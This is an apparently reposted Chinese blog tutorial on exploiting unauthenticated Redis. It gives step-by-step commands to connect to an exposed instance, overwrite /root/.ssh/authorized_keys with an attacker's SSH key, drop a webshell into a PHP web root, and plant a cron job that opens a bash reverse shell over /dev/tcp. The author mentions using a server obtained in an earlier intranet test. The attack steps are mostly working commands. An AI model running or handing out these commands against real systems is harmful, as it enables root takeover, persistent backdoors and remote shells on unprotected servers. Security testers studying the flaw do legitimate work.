Redis未授权访问

栏目: 数据库 · 发布时间: 6年前

内容简介:Redis默认配置未配置密码,如果Redis以root用户运行,攻击者可以给root账号写入SSH公钥文件,直接通过SSH免密登录服务器。Redis默认端口为6379端口。若此端口未限制公网访问,会导致Redis服务暴露公网,造成未授权访问。已知网络靶场IP为219.153.49.228,Redis端 口为47234,提供了http端口为41481。使用redis客户端进行连接尝试:

Redis默认配置未配置密码,如果 Redis 以root用户运行,攻击者可以给root账号写入SSH公钥文件,直接通过SSH免密登录服务器。Redis默认端口为6379端口。若此端口未限制公网访问,会导致Redis服务暴露公网,造成未授权访问。

0x02 攻击手段

连接测试

已知网络靶场IP为219.153.49.228,Redis端 口为47234,提供了http端口为41481。使用redis客户端进行连接尝试:

./redis-cli -h 219.153.49.228 -p 47234

Redis未授权访问

本地生成公私钥

若Redis以root用户运行,可以直接将本地生成的公钥导入到/root/.ssh/authorized.keys文件中实现免密登录。

ssh-keygen -t rsa

Redis未授权访问

公钥写入

由于网络靶场写入/root/.ssh/的权限受限,因此以之前对公司内网测试获取的一台Redis服务器为例。

先将公钥写入文件:

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > h.txt

Redis未授权访问

将h.txt的内容写入到redis服务器key为test对应的value中。

cat h.txt | /usr/redis/./redis-cli -h xxx.xxx.xxx.xxx -p 6389 -x set test

Redis未授权访问

设置redis的dbfilename路径为/root/.ssh/authorized_keys,并保存。

config set dir /root/.ssh

config set dbfilename authorized_keys

save

Redis未授权访问

直接使用ssh访问服务器查看权限和文件,可见为root权限用户。

Redis未授权访问

写入webshell

网络靶场写入/root/.ssh/的权限受限,且存在 php 站点,因此尝试写入webshell。

设置Redis备份目录为php站点目录:/var/www/html/,文件名任意。

Redis未授权访问

使用浏览器访问webshell,可以正常访问。

Redis未授权访问

写入定时任务

同理,将Redis备份目录改为/var/spool/cron,使用nc进行监听反弹shell。

set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/ip_addr/port 0>&1\n\n"
config set dir /var/spool/cron
config set dbfilename root

以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

人月神话(英文版)

人月神话(英文版)

[美] Frederick P. Brooks, Jr. / 人民邮电出版社 / 2010-8 / 29.00元

本书内容源于作者Brooks在IBM公司任System/360计算机系列以及其庞大的软件系统OS/360项目经理时的实践经验。在本书中,Brooks为人们管理复杂项目提供了最具洞察力的见解,既有很多发人深省的观点,又有大量软件工程的实践,为每个复杂项目的管理者给出了自己的真知灼见。 大型编程项目深受由于人力划分产生的管理问题的困扰,保持产品本身的概念完整性是一个至关重要的需求。本书探索了达成......一起来看看 《人月神话(英文版)》 这本书的介绍吧!

JSON 在线解析
JSON 在线解析

在线 JSON 格式化工具

HEX CMYK 转换工具
HEX CMYK 转换工具

HEX CMYK 互转工具